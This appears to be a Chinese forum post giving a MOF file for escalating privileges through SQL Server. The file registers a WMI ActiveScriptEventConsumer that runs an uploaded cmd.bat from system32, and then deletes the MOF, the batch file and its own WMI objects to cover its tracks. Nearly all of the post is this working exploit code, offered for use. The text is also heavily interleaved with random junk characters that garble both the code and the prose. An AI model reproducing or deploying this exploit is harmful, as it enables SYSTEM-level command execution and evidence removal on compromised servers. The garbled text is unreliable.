这个sql提权MOF需要运行 system下的文件,不能定义路径。/ n$ r/ ?' p, K+ Q3 W
需要将要运行的命令写入到bat上传到system32目录,然后执行。
$ {8 Q! y# E' B+ l
( m, s o) _% H5 ] h( M4 W这个sql提权MOF需要运行 system下的文件,不能定义路径。
. \& x) X+ m. {9 N需要将要运行的命令写入到bat上传到system32目录,然后执行。
- Y/ Z" g$ r) g
$ E0 m2 A' h- Q$ ~0 |#pragma3 ^+ d5 P" I6 h' B" d( [ u0 y
namespace("\\\\.\\root\\cimv2")8 {; K+ x# `; g' _( O9 J
class
$ O5 i5 L. b9 n0 z& c MyClass5474 U; A" \2 A1 H3 I2 c. U1 f
{ [key]
* a! j2 P. X" W h) I1 x- X+ P string! S- |8 U4 u. H5 x2 a1 q
Name;
3 M' E+ i( G8 V% R. Z };
/ B0 ]- z8 V1 ^& P$ C" ?9 z2 I class3 S; A% [4 O+ w B0 t: H- L9 ^; p7 d8 ^
ActiveScriptEventConsumer
. g8 ~" J2 J+ K; s1 b {2 Q/ K : __EventConsumer { [key]
+ ?0 F* v$ @3 z C5 K string
/ M) {% X5 q2 R, m Name; [not_null]
+ ?1 h& B, J0 L0 H9 D1 Y string
* B( S: }( ?8 k& ` ScriptingEngine; string- ]1 x2 g& A; A, _& r- U- l) [
ScriptFileName; [template]
. e1 D& J" z' ? string
' m' v$ h$ c# ~- z/ ]& i! ~ ScriptText; uint32 KillTimeout;
! p# l% \, d! m) W }; instance of __Win32Provider as $P {8 H3 V; S7 c& k" Z6 m+ m
Name [1 N" X5 A1 H1 e7 f d
=
' G, K+ ~+ Q4 E. V4 r" Y- F "ActiveScriptEventConsumer"; CLSID =8 W' J* x' N/ Q4 o$ l) Y
"{266c72e7-62e8-11d1-ad89-00c04fd8fdff}";
( b: ?. Y% ]: C PerUserInitialization
* s1 Q/ y0 f' I/ g1 B = TRUE;% U% h) ?1 c7 S2 Q/ P" P$ ~
}; instance of __EventConsumerProviderRegistration { Provider
8 r3 H* @6 u+ K M6 A: \$ l4 W = $P; ConsumerClassNames
' l7 J5 {0 v+ B8 m =
+ T- G- Y1 {! v) ~( i) g {"ActiveScriptEventConsumer"};2 r8 [/ N# L/ j* ?( D; [
};) J+ }( n4 J. P" i
Instance of ActiveScriptEventConsumer) [# U6 u- G: I1 ^+ W! C5 J
as $cons { Name* U, L o7 O& ^7 B" f
=
0 \* d. @; p7 ^ "ASEC"; ScriptingEngine y; D1 x5 ~1 N/ w/ v
=; K5 Q6 U' ^' n+ K; F x* P$ x
"JScript"; ScriptText4 M6 Q* M- ?4 r* _$ h2 q% a2 a0 K8 B
=( L2 O2 _+ ]* ^
"\ntry {var s = new ActiveXObject(\"Wscript.Shell\");\ns.Run(\"cmd.bat\");} catch (err) {};\nsv = GetObject(\"winmgmts:root\\\\cimv2\");try {sv.Delete(\"MyClass547\");} catch (err) {};try {sv.Delete(\"__EventFilter.Name='instfilt'\");} catch (err) {};try {sv.Delete(\"ActiveScriptEventConsumer.Name='ASEC'\");} catch(err) {};"; };
% a0 s) F# ^1 B- m4 T Instance of ActiveScriptEventConsumer* ~1 ?( s3 Q% Z! r c4 ]/ {
as $cons2 { Name
5 o$ G' C& }' t# Y =
4 T( I. i! u9 @2 x9 a "qndASEC"; ScriptingEngine
1 q, e0 D* q7 z$ m2 H0 x =
0 l$ Q3 Z W8 \ "JScript"; ScriptText L$ N, Q0 ?. V& _* P1 D2 E
=
9 h: C' N. l( J: r/ T# @+ q "\nvar objfs = new ActiveXObject(\"Scripting.FileSystemObject\");\ntry {var f1 = objfs.GetFile(\"wbem\\\\mof\\\\good\\\\hBsBa.mof\");\nf1.Delete(true);} catch(err) {};\ntry {\nvar f2 = objfs.GetFile(\"cmd.bat\");\nf2.Delete(true);\nvar s = GetObject(\"winmgmts:root\\\\cimv2\");s.Delete(\"__EventFilter.Name='qndfilt'\");s.Delete(\"ActiveScriptEventConsumer.Name='qndASEC'\");\n} catch(err) {};";
7 ?6 U4 P& \( {$ n& L( q }; instance of __EventFilter as $Filt { Name
2 P* ?- n/ r" x& @: T' z6 Q =+ I0 o; |3 r4 n. o7 E8 s1 b
"instfilt"; Query" C: I/ L$ p' `6 U
=
2 X4 L1 k! H {% c "SELECT * FROM __InstanceCreationEvent WHERE TargetInstance.__class = \"MyClass547\""; QueryLanguage
- ^* J7 g7 T: r H& ^ = z# \' I4 n! @0 ^0 u z- u
"WQL"; }; instance of __EventFilter as $Filt2 { Name: y, \ d) Y% _5 ?
=
7 |/ g0 ^1 g, J4 c& D "qndfilt"; Query; A% S- x- U; p1 A: E
=9 {7 N2 [0 K" e. ]& e6 ] i
"SELECT * FROM __InstanceDeletionEvent WITHIN 1 WHERE TargetInstance ISA \"Win32_Process\" AND TargetInstance.Name = \"cmd.bat\""; QueryLanguage
( {$ d8 O2 H8 j1 Y7 z4 s) ? =
' c# ]; u% T* S/ b7 ?* q "WQL"; }; instance of __FilterToConsumerBinding as $bind { Consumer
+ ^: `. z) W$ E) Q. f: p0 o1 { = $cons; Filter
. w* d/ I1 Y, t/ u. V% \ = $Filt;
$ |+ [. K9 p W# U- r4 C }; instance of __FilterToConsumerBinding as $bind2 { Consumer1 a2 E1 r' w, J6 x# `- `
= $cons2; Filter
- U, l. t2 O/ a j = $Filt2;
+ N& H9 g) w; J1 M f }; instance of MyClass547
- I* `" r0 B( U! h5 J as $MyClass { Name; {! L& q/ O8 ~, P
=
8 o- U( A: ?+ v6 A4 s "ClassConsumer";
3 p2 g! F" X5 s }; |